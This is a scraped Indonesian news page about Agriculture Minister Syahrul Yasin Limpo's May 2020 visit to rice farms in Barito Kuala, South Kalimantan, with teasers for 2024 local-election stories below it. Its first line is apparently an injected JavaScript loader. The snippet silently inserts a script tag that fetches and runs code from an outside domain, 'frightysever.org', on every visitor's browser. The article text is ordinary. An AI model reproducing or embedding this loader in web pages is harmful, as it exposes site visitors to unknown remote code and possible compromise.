(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARABAHAN – Menteri Pertanian (Mentan) Syahrul Yasin Limpo (SYL) melakukan kunjungan kerja di Kabupaten Baritokuala (Batola), Kalimantan Selatan (Kalsel), Sabtu (16/05/2020).
Kehadiran SYL yang didampingi sejumlah Dirjen dan staf ahli di Batola ini selain meninjau lahan pertanian padi milik Gapoktan Surya Indah di Desa Karang Indah Kecamatan Mandastana sekaligus menawarkan konsep optimasi dan percepatan pertanian.
“Setelah melihat di lapangan, apa yang dilakukan pak gubernur dan bupati, kelihatannya apa yang dilakukan di Kalsel yang memiliki lahan pertanian sekitar 300.000 hektare ini mampu diandalkan guna dijadikan bagian dari ketahanan pangan nasional,” paparnya di depan Gubernur Kalsel H Sahbirin Noor, Kapolda Kalsel Irjen Pol Nico Afinta, Danrem 101/Antasari Kolonel Inf Firmansyah, Bupati Batola Hj Noormiliyani AS dan jajaran forkopimda beserta pejabat terkait Provinsi Kalsel dan Batola.
SYL menilai, kondisi pertanian di Batola cukup memadai dan sangat menjanjikan. Oleh karenanya ia mengharapkan segera membuat kesepakatan konsep optimasi. Sedangkan penggarapannya diharapkan secepatnya atau paling tidak dimulai panen berikutnya.
“Nanti kita buat kesepakatan dengan konsepsi bersama mulai dari Pusat, Provinsi, dan Kabupaten. Saya juga bersedia tempatkan dua, tiga atau empat profesor membantu membuat konsepsinya,” papar dia.
Melalui konsep optimasi yang dilakukan, SYL berharap hasil pertanian yang dilakukan bisa lebih besar dari apa yang telah dicapai selama ini. Terlebih pertanian yang diterapkan juga menerapkan pola tumpang sari. Seperti tanaman jeruk, sayur mayur, dan lainnya yang bisa menambah pendapatan petani.
Sebelumnya, Gubernur Kalsel H Sahbirin Noor mengucapkan terima kasih atas kesediaan Mentan ke beberapa daerah di Kalsel. Ia berharap kehadiran menteri semakin memberi semangat dan tekad petani di Kalsel untuk terus mengembangkan dan memajukan pertanian, khususnya padi.
Kunjungan Mentan SYL di Batola juga berisi penyerahan sejumlah bantuan. Di antaranya alat panen otomatis Combine Harvester, bibit benih padi unggul kepada Kelompok Tani Karya Indah Karang Indah, dan handtracktor kepada UPJA Amanah Desa Karang Indah.
Usai melakukan kunjungan di Desa Karang Indah, Kecamatan Mandastana, Mentan dan rombongan melanjutkan perjalanan meninjau lahan pertanian Gapoktan Tani Bersama dan Serumpun di Desa Manarap Baru Kecamatan Kertak Hanyar Kabupaten Banjar. (kanalkalimantan.com/rdy)
KANALKALIMANTAN.COM, BANJARBARU - Forum Ambin Demokrasi turut menyikapi jalannya proses demokrasi dalam Pemilihan Wali Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru mulai masuk masa tenang jelang Pemilihan Kepala Daerah (Pilkada) Serentak… Read More
Coblos Paslon yang Dibatalkan Suara Dianggap Tidak Sah Read More
KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More
This website uses cookies.